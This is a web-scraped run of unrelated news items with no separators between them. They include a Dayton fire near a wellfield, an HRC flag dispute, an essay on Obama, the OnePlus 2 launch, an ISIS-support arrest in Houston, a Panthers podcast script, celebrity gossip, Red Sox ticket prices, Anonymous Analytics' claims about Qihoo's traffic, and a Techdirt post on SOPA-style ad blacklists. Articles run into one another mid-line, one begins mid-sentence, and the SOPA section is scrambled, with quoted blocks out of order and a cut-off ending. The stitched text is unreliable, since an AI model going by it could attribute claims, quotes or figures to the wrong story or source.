For more interesting research, please check Why we like dogs and cats.
Citation: Kuhne F. (2016). Behavioural responses of dogs to dog-human social conflict situations. Applied Animal Behaviour Science, In Press, Corrected Proof, Available online 6 May 2016. doi:10.1016/j.applanim.2016.05.005
Figure legend: This Knowridge.com image is for illustrative purposes only.A Dayton fire chief called it “counterintuitive” to not fight a Sunday night blaze at KMW Truck & Trailer Repair in Dayton with water. With oil stored onsite and a number of tanks exploding, firefighters refrained from dousing the fire to prevent contaminated water from potentially fouling the region’s water supply.
The business at 2149 Valley Street near one of the city’s three water wellfields was allowed to burn.
Aspects of the Sunday fire are reminiscent of a huge 1987 Sherwin-Williams paint warehouse blaze that officials then allowed to burn. The fire lasted six days, but the region’s groundwater was saved.
After coming close to experiencing an enormous environmental disaster, community leaders in 1988 agreed to a program that put limits on chemical storage and business expansion in areas near the wellfields.
Sherwin-Williams warehouse fire 5/30/87Officials have finally been able to inspect the remains of the Sherwin-Williams warehouse fire two days after the fire started. Photo: Eddie Roberts
» RELATED: Dayton considers major changes to drinking water protection area
In more recent years, businesses in the area said they were burdened by the regulations, and after months of debate, Dayton’s Source Water Protection Program was changed in 2015 to reduce the number of banned chemicals and shrink the protection area.
» RELATED: Citizens criticize revised water protection plan
» RELATED: City Oks water plan despite residents’ protests
KMW Truck & Trailer Repair is located just outside a current protection zone north of the city’s Mad River Well Field.
Here are five things to know about the region’s drinking water
Primary source of drinking water: About 97 percent of the 1.6 million people in the Great Miami River basin depend on the Great Miami Buried Valley Aquifer for drinking water, according to the United States Geological Survey.
» RELATED: Fairborn releases water quality report for residents
Vast underground reservoir: The aquifer is a three-trillion-gallon reservoir created through tens of thousands of years of glacial activity. The water is contained in spaces between enormous sand and gravel beds that stretch from Logan and Shelby counties in the north, hewing toward the middle of the Great Miami River watershed all the way to the Ohio River.
» RELATED: Expert’s concerns: Drinking water, aquifers, river pollution
Local supply: Dayton’s wellfields supply water for 400,000 residents in multiple municipalities. The current protected area includes parts of Dayton, Harrison Twp., Huber Heights, Riverside, Vandalia and Wright-Patterson Air Force Base.
Easily contaminated: In many areas, a chemical spill would need to travel a mere 20 feet from the land surface through very permeable soil, sand and rock to reach the aquifer.
» RELATED: Contaminated sites raise alarms, health concerns
High volume: United States Geological Survey reports show the aquifer to be one of the most productive sources of clean water in the Midwest, with some wells able to pump 3,000 gallons a minute.The Human Rights Campaign, the nation’s largest LGBT civil rights group, faced criticism in various social media today after allegations surfaced that one of the group’s staffers told transgender community members to remove their flag from a podium area at the U.S. Supreme Court.
The national group, which is denying any wrongdoing, was one of several organizations present during press conferences and other short speeches at the court, where two historic cases challenging anti-LGBT marriage discrimination were heard this week.
Various posts on Facebook and Tumblr asserted that an HRC staffer asked transgender community members to remove a transgender flag from the podium area and said, according to one post, that “marriage equality is not a transgender issue.”
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Jerame Davis, executive director of National Stonewall Democrats, said in an update on Facebook that he witnessed an HRC staffer asking that a transgender flag be removed, though he did not hear the alleged statement regarding marriage and transgender issues.
“I was there. I saw this happen,” Davis wrote on Wednesday. “It was only the HRC reps asking for the trans flag to be moved. If they’d only asked once, I’d have given them a pass, but they continued to harass this person over a flag.”
Davis described the incident as “really poor behavior.”
HRC Communications Director Michael Cole-Schwartz issued a statement to qnotes in response to the allegations.
“It was agreed that featuring American flags at our program was the best way to illustrate this unifying issue which is why when managing the area behind the podium, several people were asked to move who were carrying organizational banners, pride flags or any other flag that was not an American flag,” the statement read. “Several people refused and they were allowed to stay. The coalition welcomed the variety of signs and flags that were throughout the plaza that demonstrated the wonderful diversity of our community.”
HRC added, “It is a not true to suggest that any person or organization was told their flag was less important than another — this did not occur and no HRC staff member would ever tolerate such behavior. To be clear, it is the position of the Human Rights Campaign that marriage is an issue that affects everyone in the LGBT community.”
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The national group’s history with the transgender community has been strained. In 2007, the group faced tremendous push back when it endorsed a version of the Employment Non-Discrimination Act which excluded protections for transgender workers.
HRC is also facing criticism from United We Dream’s Queer Undocumented Immigrant Project. In a video posted to YouTube today, QUIP leader Jerssay Arredondo claims his speech at an HRC-organized event at the Supreme Court was revised by the national LGBT group. qnotes has reached out to United We Dream for further clarification on the alleged revisions.
HRC’s full statement below:
“Tuesday and Wednesday were historic days for our community, as thousands of LGBT people gathered in front of the Supreme Court and in every state across the country to demonstrate their support for marriage equality. HRC was proud to play a role in these events as a member of the United for Marriage coalition, the group which organized the gathering at the Supreme Court. Marriage equality is an issue that fundamentally impacts hundreds of thousands of LGBT people and families across our nation and is greater than any one organization.
“It was agreed that featuring American flags at our program was the best way to illustrate this unifying issue which is why when managing the area behind the podium, several people were asked to move who were carrying organizational banners, pride flags or any other flag that was not an American flag. Several people refused and they were allowed to stay. The coalition welcomed the variety of signs and flags that were throughout the plaza that demonstrated the wonderful diversity of our community.
“It is a not true to suggest that any person or organization was told their flag was less important than another – this did not occur and no HRC staff member would ever tolerate such behavior. To be clear, it is the position of the Human Rights Campaign that marriage is an issue that affects everyone in the LGBT community.
“The events at the Court featured lesbian, gay, bisexual and transgender speakers as well as LGBT families, religious leaders, Republicans, military spouses and civil rights activists. This has been a historic week and truly demonstrated how all of us – lesbian, gay, bisexual and straight, transgender and cisgender – can unite as one voice to advocate for our constitutional rights.”
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Posted by Matt Comer Matt Comer is a staff writer for QNotes. He previously served as editor from October 2007 through August 2015.On October 7, 2002, in Cincinnati, Ohio, George W. Bush delivered the defining speech of his Presidency. In the face of “clear evidence of peril” from a regime harboring terrorists and weapons of mass destruction, he declared, “we cannot wait for the final proof—the smoking gun—that could come in the form of a mushroom cloud.”
Five days earlier, a forty-one-year-old Illinois state legislator had given a momentous speech of his own, although few recognized it as such at the time. “I don’t oppose all wars,” Barack Obama told a few hundred Chicago protesters, adding:
I know that even a successful war against Iraq will require a U.S. occupation of undetermined length, at undetermined cost, with undetermined consequences. I know that an invasion of Iraq without a clear rationale and without strong international support will only fan the flames of the Middle East, and encourage the worst, rather than best, impulses of the Arab world, and strengthen the recruitment arm of Al Qaeda. I am not opposed to all wars. I’m opposed to dumb wars.
After the attacks of September 11, 2001, Bush discovered a big idea for his Presidency. He would bring down a tyrant, crush terrorism, and impose democracy and peace on what his regent, Vice-President Dick Cheney, called “freedom-loving peoples of the region.” As the world now knows, that idea was based on faulty intelligence reports and executed with a fatal disregard of political reality in the Middle East and at home. By the time of the 2008 Presidential campaign, Bush’s approval rating had shrunk from sixty-seven per cent to thirty-seven per cent, the Republican Party was coming apart, and Obama’s 2002 speech had proved a precondition for an astounding climb to victory this month as the Democratic Party’s presumptive nominee for President.
Still, sixteen months after announcing his candidacy, and after twenty-six Presidential debates and thousands of public-speaking engagements, Obama remains a puzzle to many voters. Almost as dedicated a policy wonk as Hillary Clinton and arguably more centrist in his economic beliefs, he offers plenty of specifics about what needs to be done. But his captivating eloquence and his slogan—“Change We Can Believe In”—have seemed to lift him dangerously high above the concrete. He has proved his steadiness of purpose without clearly defining his priorities. What, above all, does he intend to accomplish if he is elected President?
Obama is said to have been dissatisfied with the slogan. If so, he has a point. The “change” he advocates can be understood as a pragmatic correction to the radical policies and the ineptitude of the Bush brigade. His political departure is a kind of return. He has written two unusually revealing books—one describing how he came to be who he is, the other delineating how he proposes to reclaim the qualities that once made America so admired. He argues that the United States must relearn the fundamental lessons of the Declaration of Independence, the Constitution, and its own long journey toward a more perfect union, and then apply them to the global upheavals of the twenty-first century.
In his books, Obama emerges not as the personification of cool projected onto him by his young adherents—or as the disdainful élitist suggested by his offhand remark about a “bitter” working class—but as something of a square: someone who doesn’t have to strain to talk about “values,” God, and family. His eerily objective self-analysis is matched by his lawyerly ability to see things from the perspective of those on the other side. In January, after Obama uttered a few words of praise for Ronald Reagan in an interview with newspaper editors, Hillary Clinton and John Edwards rushed to condemn his apostasy. But he meant what he said. In 2006, in “The Audacity of Hope,” he had written, “Reagan spoke to America’s longing for order, our need to believe that we are not simply subject to blind, impersonal forces but that we can shape our individual and collective destinies, so long as we rediscover the traditional virtues of hard work, patriotism, personal responsibility, optimism, and faith.”
The general consistency of Obama’s policy views—with an occasional bald deviation, as on the public funding of his campaign—is a contrast to John McCain’s erratic shape-shifting. McCain opposed the Bush tax cuts as skewed toward the rich, and unsustainable; now he wants to extend them forever. He co-sponsored a relatively humane immigration bill; now he disowns it. He deplored the torture of detainees at Guantánamo; now he attacks the Supreme Court’s decision granting them the constitutional right to challenge in federal court their continued detention as “one of the worst decisions in the history of this country.”
Over the years, Obama has carefully calibrated his political message, and he has won a grudging respect among some conservatives. In The New Republic, Bruce Bartlett, a Treasury official in the Reagan and Bush père Administrations, writes that “Obamacons”—libertarians, disillusioned neoconservatives, even a few supply-siders—have been pushed “into Obama’s arms.” In The American Conservative, Andrew J. Bacevich, a professor of international relations and history at Boston University, complains, “To believe that President John McCain will reduce the scope and intrusiveness of federal authority, cut the imperial presidency down to size, and put the government on a pay-as-you-go basis is to succumb to a great delusion.”
Obama promises to tell voters what they need to know and not what they want to know. It’s a risky strategy, and one he doesn’t always follow, but when he put it into effect in April, by attacking McCain’s proposed summer gasoline-tax holiday, he helped his campaign more than he hurt it. Last week, he denounced McCain’s latest reversal, on offshore drilling. But he needs to go further. A year ago, he likened “the tyranny of oil” to that of Fascism and Communism, saying, “The very resource that has fueled our way of life over the last hundred years now threatens to destroy it if our generation does not act now and act boldly.” This is the kind of unequivocal message that Obama needs to develop. By telling just such inconvenient truths, Al Gore has inspired a worldwide movement to arrest climate change. The next President could be its most powerful leader. Obama will not rouse voters by getting lost in a tussle with McCain over the virtues of cellulosic ethanol. He can, however, make voters part of the solution by helping them understand that the greedy oil companies, the failing auto industry, and the craven Congress will not redeem themselves until consumers demand that they do so by making some inconvenient changes of their own. A little more audacity will yield a lot more hope. ♦Video
David Cameron has said "no-one is keener" than him to agree a new funding deal for Scotland, but said it must be done in "a fair and reasonable way" for the whole of the UK.
Speaking at Prime Minister's Questions, Mr Cameron said he wanted the SNP "to have to start making decisions".
He added: "I want to get rid of frankly this grievance agenda and let you get on with a governing agenda and then we can see what you're made of."
The PM was responding to SNP Westminster leader Angus Robertson, who claimed the fiscal framework - which is currently under negotiation - could cost Scotland £3bn, and warned that time was "running out" to deliver a deal fair to Scotland and to the UK.Tonight, OnePlus is set to announce their second generation flagship. After selling 1.5 million OnePlus One's last year, the company has high aspirations for 2015 and the OnePlus 2. They will be announcing the device tonight at 10pm EST/7pm PST. We'll be covering the event live, as we always do. Additionally, the company is doing the event in virtual reality, so all of their fans can truly feel like they are there in person. Which is going to be pretty sweet.
We already know a number of specs of the new device including the processor. Which will be the Qualcomm Snapdragon 810 processor. We also know it's going to support USB Type-C, and a fingerprint sensor. Additionally, it's been confirmed that there will be a 3,300mAh battery inside. OnePlus has even said that the device is ahead of its time, we'll see about that, tonight when it's announced.
A few weeks ago, we saw what looked like a leak of the OnePlus 2 as it went through China's regulators for approval. Basically, China's FCC. And it looked pretty much the same compared to the OnePlus One, aside from the physical home button and the camera on the back. Now we see another picture of the OnePlus 2 on what looks like a train in Hong Kong. And it actually does look just like the pictures from TENAA. Judging by the size of the device compared to the guys' hand, it doesn't look to be all that much bigger compared to the OnePlus One. And it looks like sandstone has returned this time around.
So there's more and more evidence pointing to the fact that this is indeed the design of the OnePlus 2. Although we shall find out in a little over 12 hours from now. We are definitely excited to see what OnePlus has up their sleeves. If you haven't already, be sure to reserve your spot on their reservation list so you can get an invite as soon as possible. Also, if you're interested in watching the event, make sure you download their app from the Google Play Store. And we'll see what happens with the OnePlus 2 tonight.Google has launched a new website – Android Experiments – that showcases some really novel and unusual Android apps developed internally by Google Labs or by some third party developers. Users can not only download and use these apps, but also contribute to the further development of these apps. Google has opened the code for all these apps and developers can either improve the app further or create variations of these fun apps.
Currently, there are a total of 20 Android apps that have been put up on Android Experiments website.
While some of the apps have features that you may have already come across, some of them are truly exceptional. For example, an app called inkspace has a drawing tool which uses your device accelerometer to move the drawings you have made in 3d. Check out the video to see how Inkspace works
Google’s vision behind opening up Android experiments is to spur creativity and offer inspiration to millions of Android developers out there. In their words, “We’re working to document creative experiments like these and make them open source so anyone can see how they are made, or get inspired to create their own. Our hope is to encourage more developers to challenge how we interact with the devices we use every day.”
Google has opened this platform for everyone, and if you think you have created an amazing and creative Android app, you can submit your own app to Android Experiment website.
Some of the apps we really loved on Android experiments include Landmarker, a compass that beautifully lets you explore the landmarks around you. Space Sketcher is another wonderful app that demonstrates the potential of Project Tango technology by allowing users to create virtual 3D drawings in space using full range motion tracking.
One of the most innovative and creative app we came across on Android experiments is IOIO plotter – it is a interactive drawing tool that converts photos from the phone’s camera into abstract drawings using physical markers suspended from strings. Check out the video below
Do visit Android Experiments website, download the apps that appeal to you and let us know your experience!HOUSTON -- A Houston 18-year-old has been arrested and charged with illegally distributing explosive-making information and attempting to support the Islamic State of Iraq and Syria (ISIS).
The U.S. Justice Department said Monday that Kaan Sercan Damlarkaya, a U.S. citizen, was arrested on Dec. 8 following an undercover FBI operation. A statement says Damlarkaya said he intended to travel overseas and fight for ISIS and said he tried to get to Syria twice. He told agents he would commit a U.S. attack if efforts to travel overseas failed.
It also says Damlarkaya provided to alleged ISIS supporters a formula for explosive Triacetone Triperoxide and instructions how to use it in a pressure cooker device containing shrapnel.
According to the criminal complaint, Damlarkaya also gave instructions on how to build an AK-47 or AR-15 assault rifle from readily available parts to avoid detection from officials, reports CBS Houston affiliate KHOU-TV.
According to the station, documents say he also talked about using a machete or Samurai sword and claimed to carry a knife in case he was stopped by authorities. Damlarkaya said he slept with a machete under his pillow in case his house was ever raided.
Federal investigators said he explained that it was his "dream" to be a martyr and have the biggest explosion, KHOU reports.
In November, according to court documents, Damlarkaya said, "If I buy a gun or supplies for a bomb, they (presumably law enforcement) will heat up pressure (j)ust like a few months ago when I was trying an operation but they found out."
If convicted, he faces a possible 20-year maximum prison term. The U.S. has designated ISIS as a terrorist organizationApril 23rd, 2017: USA Today Panthers Wire’s Edgar Salmingo, Jr. joins us to talk all about the Draft! We also take a quick look at some Panthers news from earlier in the season, discuss the Panthers’ 2017 schedule by difficulty level gloat about our new web site and preview some Roaring Riot goodies!
The script from the podcast:
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We are on Twitter at R-RiotPodcast and on Facebook at facebook.com/roaringriotpodcast/
You can also follow Drew on twitter at Drew you riot
I am Keith and I am joined by Drew (pause to hello) and Jayme (pause to say hello).
For an off-season podcast this one is packed with talk about the Panthers. USA Today’s Panthers Wire’s Edgar Salmingo, Jr. will be joining us to talk the draft, we look at some Panthers news and look at the Panthers’ 2017 schedule by difficulty.
If this is your first time listening to the podcast then welcome! I have heard from quite a few new listeners since our last podcast in early April. Thank you for writing, Joan in Charlotte, Sean in Texas, Katelyn in New York and Domingo from Barcelona! Feel free to reach out to us via social media or email us at info@roaringriotpodcast.com.
We are in off-season mode so we do not record as often as during the regular season – usually every 2 to 3 weeks. Now, if news breaks we will produce a 3-4 minute podcast we call the NEWS BLITZ. You can get the News Blitz right here on this channel if you are subscribed through iTunes or Google Play. And please, rate and review the podcast at iTunes or Google. A 5-star rating helps others find us.
Our web site is RoaringRiotPodcast.com which just got some new carpet and wallpaper. Please stop by and comment on any of the podcasts.
We are looking for a sponsor for the 2017 season! If you want to reach a wide audience of dedicated and engaged Panthers fans then please consider sponsoring the Roaring Riot Podcast! Email info@roaringriotpodcast.com for more rates and more information. It’s affordable, it helps us keep the microphones turned on and delivering high-quality, insightful Panthers news throughout the season.
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{ KH to lead in. }
Kawaan Short Deal ($16 million over 5 years) Drew: Only counts as $10 against the Cap this year.
Also signed Norwell and Backup center Tyler Larson
Josh Norman has not ruled out a return to the Panthers in the future.
Former sports reporter and founder of the Black and Blue Review web site, Bill Voth has announced that he is joining the Panthers Media team.
Now, in case you missed it or just forgot about it here are the Panthers news highlights from recent weeks:
Julius Peppers has re-signed to the team
Captain Munnerlyn returns as cornerback
Mike Adams was signed to strong Safety
We picked up special teams star Russell Sheppard
Matt Kalil was signed to the offensive line
{%%%%%%%% SEGMENT #2: 2017 SCHEDULE ~ 10:00 %%%%%%%}
We will have our way-too-early picks later this summer, when there’s nothing else to talk about.
At USA Today Panthers wire Alex Reynolds breaks down the Panthers regular-season schedule by difficulty. Reynolds notes that with this schedule the Panthers are no longer a favorite choice for prime-time games and that we will be be facing all 3 division rivals as well as Aaron Rodgers in the last 5 weeks of the regular season.
Alright, here’s Alex’s take on the schedule:
Panthers 2017 regular season games ranked by difficulty
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Roaring Riot memberships open up May 1st.
If you joined last year your membership will automatically renew on May 1st. If you did not join last year then go to RoaringRiot.com and sign up on MAY 1st!
Your Roaring Riot gear will be shipped out around the middle of May.
Have you seen the new Roaring Riot t-shirt? We are in our black season. The first season it was white, last season it was blue and this season it’s a dark grey color.
There is A LOT of great stuff planned for the season. I can’t tell you what is planned. I wish I could. BUT, listen to this podcast the week following Memorial Day for the big announcement.
Zack Luttrel, the founder of the Roaring Riot, made a guest appearance on the Panthers Poundcast. These guys do their thing on YouTube and they are one of our Podcast brethren so if you want some more Panthers fix do a quick Google search for Panthers POUNDcast. We appreciate the shout-out from you guys and really appreciate the kind words.
If this podcast doesn’t scratch your itch for Panthers news please tune in to the Panthers Reddit Podcast, the Panthers Poundcast and the Keep PounDENN Podcast.
{%%%%%%%% SEGMENT #4: 2017 DRAFT ~ 10:00 %%%%%%%}
This is DRAFT WEEK. We hope you will join your fellow Panthers fans at a Roaring Riot draft party in your city. And this year you won’t have to wait until midnight to learn who the Panthers pick since we will be picking 8th!
We are pleased to be joined by USA Today’s Panthers Wire’s own EDGAR Salmingo, Jr! Welcome, EDGAR!
When we do the News Blitz during the season you are one of our go-to sources and we also attribute
Ask ten different draft prognosticators who the Panthers will pick and over a 4-week period you’ll get 120 or answers. So, is going to be Leonard Fournette?
Find Edgar at pantherswire.usatoday.com.
Riot out in California. Making it on any trips? Panthers Needs Names to look at that can fill them. While Panthers have the odds against 49ers, how are we looking against McDermott and Buffalo? Can we beat them with MCD knowing our O and D with the team we have? Rumor is McD looking to trade up. Browns may also, who’s the best suitor for the Panthers? Article on Monday about Gettleman’s evaluation process. http://pantherswire.usatoday.com/2017/04/24/should-the-panthers-pick-leonard-fournette-or-christian-mccaffrey/ Crazy assed pick that the Panthers can make any you would support that lines up with their board.
Thank you for joining us, Edgar! Please following Edgar at @PanthersAnalyst and at PanthersWire.usatoday.com.
Good luck this weekend! Get some good sleep Saturday night!
{%%%%%%%%%%%%%% SEGMENT #5: FINAL THOUGHT ~ 5:00 %%%%%%%%%%%%%%}
Drew: Looking forward to bringing Elle to the draft party, raising a new generation of Panthers fan.
KH: Twitter, new site. HBDV.
Jayme: BS that the Falcons are not starting the season at New England
%%%%%%%%% SHOW OUTRO %%%%%%%%%%%%
FOLLOW US on Twitter at R-RiotPodcast and like us on Facebook at Facebook.com/roaringriotpodcast/Kate Rothschild's rapper boyfriend Jay Electronica branded a £30k home wrecker
Kate Rothschild’s rapper boyfriend Jay Electronica has been thrown out of his rented home and has left more than £30,000 damage in his wake, neighbours claim.
Jay had been living in a £2 million property in leafy Wimbledon, South-West London – a deal thought to have been arranged by banking heiress Kate.
But now the father of one has moved to Belgravia – much to the relief of his former neighbours.
Making a mess: Kate Rothschild's boyfriend Jay Electronica has been thrown out of the £2 million property in leafy Wimbledon, South-West London he was renting, leaving more than £30,000 worth of damage
‘He was kicked out of the house and it has taken workmen three months to repair the damage that he caused,’ a source in the street tells me.
‘We certainly won’t be forgetting him any time soon. He left the house in a complete state – he did £30,000 worth of damage.
'His dog would also be barking all night and he would wake us up with his motorcycle.’
Another neighbour adds: ‘Jay was very lively. He had a Harley-Davidson that he would rev up at 3am.
'I would also see that posh girlfriend of his come and go, and his Alsatian would bark all the time, which drove people mad. This should be a quiet street so he set a lot of tongues wagging.’
High profile divorce: Kate was married to financier Ben Goldsmith for 11 years and they have three children together
According to a third source, Jay, 37, left an undisclosed sum of money to cover the repair bill but that the amount is insufficient.
‘He painted the walls in different colours and put mirrors up everywhere,’ the property’s new tenant reveals. 'The whole house had to be repaired for three months before we moved in.’
Jay has been dating Kate since 2010, but has never lived in the Kensington house that she shares with her three children from her 11-year marriage to financier Ben Goldsmith.
The marriage ended in 2011 after Kate’s affair with Jay was discovered.
A spokesman for letting agents Hamptons International said: ‘The landlords want to forget the whole episode.’
The Mail on Sunday made repeated requests for a comment from spokesmen for Jay and Kate, but they failed to respond.
Grayson Perry has devised a way to give lots of artwork to charity – by designing a signature ceramic animal he donates specially for good causes.
‘I always give a little animal for charity auctions. It used to be a dog but I’ve upped my game – now it’s a lion,’ he explained at the Royal Academy’s Schools Annual Dinner and Auction at London’s Burlington Gardens.In the wake of the September collapse and the subsequent fallout, the Red Sox probably had little choice but to keep ticket prices the same and that’s what they did. Here’s the release from the team:
The Boston Red Sox today announced that prices for all ticket categories available to the public for the 2012 regular season at Fenway Park will be held at 2011 levels. This marks the second time in four years the team has held ticket prices as the Red Sox also froze prices across the board for the 2009 season.
“John Henry, Tom Werner, and the members of our front office spend considerable time each year discussing ticket pricing and policies for the following season, and as a group we make a concerted effort to look at our business through the prism of Red Sox fans. Over the last several years, many in Red Sox Nation have experienced economic difficulties, and every fan has gone through some trying times – particularly at the end of the 2011 season – as the team fell short of our goal of reaching the post-season,” said President/CEO Larry Lucchino.
“The decision to hold ticket prices next season is just one of many ways we hope to show our gratitude to Red Sox Nation in 2012 for the unfailing support they have shown at the ballpark, and for their faith in the Red Sox. It is also part of an effort we’ve made over the last few years to slow the growth of season ticket and individual game tickets to ensure the Fenway Park experience is a viable option for as many citizens of Red Sox Nation as possible. We are constantly impressed by our fans’ love of the game and our franchise, and we hope to see them fill up Fenway Park next year as we celebrate the ballpark’s special 100th anniversary season.”
After freezing prices in 2009, the Red Sox implemented a small increase on a limited number of prime tickets in 2010 – the second lowest increase in then-16 seasons, and in 2011 the Red Sox froze 70 percent of ticket prices.
Fans’ first |
156,000) per month, per link on the "Famous Sites" section of its directory page -- a breed of e-commerce widely known to have dwindled in Western cyberspace.
Anonymous Analytics says there's something fishy about Qihoo's directory page. Qihoo recently claimed on its fourth quarter conference call that the page was getting 20% more web traffic than dominant-player Baidu's similar page and its sub pages, hao123.com. Qihoo confirmed this with me, citing a table of figures from iResearch.
But the Anonymous group claims that Qihoo is "grotesquely exaggerating" its traffic advantage, and their evidence comes in the form of a recent change in the source code of hao.360.cn. Having been monitoring the site since last year, the group noticed that a comScore tag had been added to Qihoo's HTML source code. (ComScore is the best-known, third-party verifier of a web site's traffic.)
This seemed fine, until the tag was removed on or around June 20, 2012. Why? Anonymous Analytics thinks that Qihoo didn't like the figures it was seeing. The group then managed to get what it claims are the actual comScore figures through unnamed third parties -- "people we trust," according to the group's representative -- who had bought them from comScore. The figures show that in the months of February, March and April 2012, Qihoo's all-important directory page had 56%, 51% and 52% less traffic than Baidu's.
Anonymous Analytics provided me with what appears to be a legitimate document from comScore showing web traffic figures for Baidu and Qihoo's main directory pages in April 2012. It states that Baidu's directory page had 84.689 million unique visitors from China, while Qihoo's had 40.877 million.
The activist group believes that before Qihoo balked at the figures, it had added the comScore tag to appease analysts, investors and critics, "who have called for management to provide independent verification of Qihoo's traffic claims."
The group further believes that management installed the tag with a view figuring out how to manipulate comScore's traffic analytics. "We are so certain of this that we invite engineers at comScore to analyze data coming out of hao.360.cn since the beginning of the year," Anonymous Analytics says.
Qihoo has denied these allegations completely, though it seems rattled enough by them. Their chief operating officer, Alex Yu, told me in an email on Monday that "allegations regarding our web site traffic has been put out by several different parties. Most of them are on the short side of our stock. "
He added that Qihoo had started working with comScore to get a "backup measurement" of Qihoo's traffic since the beginning of 2012.
"However from time to time, comScore's tracking tools may trigger some security software," Yu said. "When such conflict between comScore and security software occurs, we will temporarily remove the comScore tag to make sure users don’t get false alarm." Yu added that the comScore tag would be put back once such conflicts were resolved.
"There were several such incidences in the past few months, and there may be additional ones in the future until comScore and us come with a solution to completely solve the issue," Yu said. He added that until the issue was resolved, comScore would not be ready to "officially release" any data regarding Qihoo's directory site. "Any of the 'leaked' data should be viewed as inaccurate and unofficial," he said.
When I put this to comScore, a spokesperson provided a formal statement from the tracking firm:
ComScore have been working and is still working with Qihoo and other publishers in China on tagging their websites for Unified Digital Measurement. At this point, comScore has not released any Unified (tagged) data for Qihoo Sites. We do not comment on publisher's unpublished data or any work in progress.
Anonymous Analytics claims that the comScore data it got on Qihoo came form a third party that had bought it directly from comScore. When I asked comScore how much "unpublished" figures like this counted as legitimate comScore data, they reiterated that they could only comment on data that had been put in the public domain.
A representative of Anonymous Analytics offered some responses to Yu's denials, and to an official rebuttal that was put out by Qihoo in the form of a press release this morning, which stated that in the recent months in question, a European third-party anti-virus software had "mistakenly identified the tag as a Trojan." Qihoo said it had temporarily removed the comScore tag from hao.360.cn to "ensure user experience till the issue was resolved."
"We would love to know which European anti-virus company triggered the tag as a Trojan," the Anonymous Analytics representative told me. "Any anti-virus company big enough to make a sizeable impact in Qihoo's traffic volume would know to white flag any data analytics from major companies, such as comScore, Alexa, and Google Analytics. Technical absurdity of that aside, how many people could that have been affected since Qihoo claims most its users use its own anti-virus products? Also, they'removed the tag for user experience?' What does that even mean?"
The Anonymous researchers, who it's worth noting cannot be accountable for the validity of their claims due to their professed namelessness, are not the first group to question Qihoo's claims about web traffic. Seeking Alpha did so here, a short seller of the stock called Citron Research did so here, and Qihoo responded to that latter report here. (My own take is that there's something rather unsustainable about a company with a market capitalization of $1.9 billion getting most of its revenue from a single directory page of web links.)
Anonymous is both a movement and brand of hacktivists and trolls, best known for illegal cyber attacks against targets like the Church of Scientology in 2008, MasterCard, Visa and PayPal in late 2010, and Sony in 2012. There were all manner of motivations at play but underneath it all an attempt to unleash a modern-day form of vigilante justice.
Yet this is also not the first time that Anonymous has pursued legal means of subversion. Recently a faction of Anonymous in Japan announced a clean-up event, encouraging supporters to meet in Shibuya, Tokyo on July 7 to don Guy Fawkes masks, then pick up garbage and hand out leaflets about the cyber collective.
Anonymous Analytics is on the edgier side of these legal activities. It was established less than a year ago and includes "enough guys with finance backgrounds to know what we are talking about," its representative said. Its website is a parody of a financial research firm, preluding each report title with "Initiating Coverage." Last April it targeted Huabao International, claiming in a 44-page report that the Chinese tobacco and fragrance firm overpaid for several companies it bought from its billionaire chairwoman. As a result, Huabao asked to suspend trading of its shares on the Hong Kong stock exchange, according to The Financial Times. The September before, the group targeted Chaoda Modern Agriculture. So far it has released three reports.
Why the focus on China? Anonymous Analytics claims on its web site that Chinese companies aren't very good at covering their tracks. But they're ready to move on -- in their latest report they added that "exposing Chinese frauds" had become cliche, "if not outright boring." The group says it has already turned its attention to Western companies, and expects to release its first report by year-end.
Follow me on Twitter: @parmy
Order my book: "We Are Anonymous: Inside the Hacker World of LulzSec, Anonymous and the Global Cyber Insurgency."Congress Continues To Pretend That SOPA Actually Is The Law
from the shameful dept
We support these steps, but note that much remains to be done to operationalize the commitments made and to make them effective in preventing the appearance of legitimate ads on pirate sites, rather than simply responding once they are placed. Best practices are useful, but greater specificity is needed around preventative measures that participants in the digital advertising ecosystem can and should take to avoid the placement of ads on piracy sites, as well as the development of metrics to measure the effectiveness of these steps. Only through proactive efforts will the harms associated with ad-supported piracy be mitigated.
Letting commercial companies with their own competitive motivations decide which sites are "rogue" or "pirate" sites is a recipe for abuse. It means that site owners who comply with copyright law could still have their sources of revenue cut off when a company who might be a competitor asks for it. The legislators' letter doesn't define "online piracy sites," but most of the definitions we've seen lately focus on the number of takedown requests a site has received from copyright holders, or the number of requests sent to search engines about the site. Since just a few companies send out a large portion of the takedown requests, those companies would effectively have the power to control who gets deemed a "piracy site." As a federal law, this scheme would have created serious First Amendment and due process problems. As a private agreement among competing ad networks, it could raise other legal problems. Under the Sherman Antitrust Act, companies that compete with each other aren't allowed to make a pact amongst themselves about who they will refuse to do business with, especially if the purpose of the pact is to squelch competition or punish a rival. It's called a "group boycott" or "concerted refusal to deal," and it can lead to big-money lawsuits and years of trouble. In some cases, groups of competitors sharing a list of companies that they deem to be bad actors, with a wink-wink understanding that no one in the group should do business with those companies, was deemed a violation of the Sherman Act. Claiming that an industry-wide refusal to deal is justified by "fighting piracy" doesn't necessarily avoid an antitrust jam. In 2003, the Motion Picture Association of America decided that its members, major movie studios who compete with one another, would no longer send pre-release "screener" copies of films to members of awards committees like the Motion Picture Academy. According to the MPAA, the group boycott of awards committees was needed to stop infringement of pre-release movies. But the group ban put smaller studios at a huge disadvantage in getting award nominations and votes. In just two months, a court decided that the MPAA's screener ban was likely illegal, and that loss may have precipitated MPAA head Jack Valenti's retirement a few months later.
One of the more troubling aspects that we've seen in the past few years is that, despite SOPA failing to pass in Congress, thanks to widespread public outcry, various copyright interests have continued to look for ways to push forward ways to implement SOPA, even if not in law. For example, we recently pointed to how the USTR praised Italy for implementing a plan even more draconian than SOPA, likely leading to a later attempt by the USTR to "harmonize" international laws by requiring the US to do the same in a future trade agreement or treaty. Similarly, the US government still continues to do questionable domain seizures that appear to be a clear First Amendment violation. Even more nefarious, however, may be the various attempts by politicians to push for questionable "voluntary agreements" that effectively implement SOPA anyway.Recently, four members of Congress -- Reps. Bob Goodlatte and Adam Schiff, and Senators Sheldon Whitehouse and Orrin Hatch -- sent an exceptionally questionable letter to various internet ad networks, asking them to start blacklisting "piracy sites." This was one of the requirements in SOPA. And, as we discussed years ago, there are serious problems with such plans. Back in 2011, ad giant GroupM tried to do the same sort of thing, asking Universal Music to provide it with a list of piracy sites, and that list included tons of legitimate sites -- including SoundCloud, Vimeo, the Internet Archive, BitTorrent's corporate page... and a bunch of hip hop blogs. It also included (Universal music artist) 50 Cent's personal website as a piracy site.And these four members of Congress seem to have no problem with such censorship.But this letter is even worse than that. Various ad networks have already set up "best practices" for not putting ads on "bad" sites -- but this letter saysAs the EFF notes, such intimidation by members of Congress raises a whole host of legal problems:Once again, we have lawmakers -- with an unfortunately long history of being the movie and 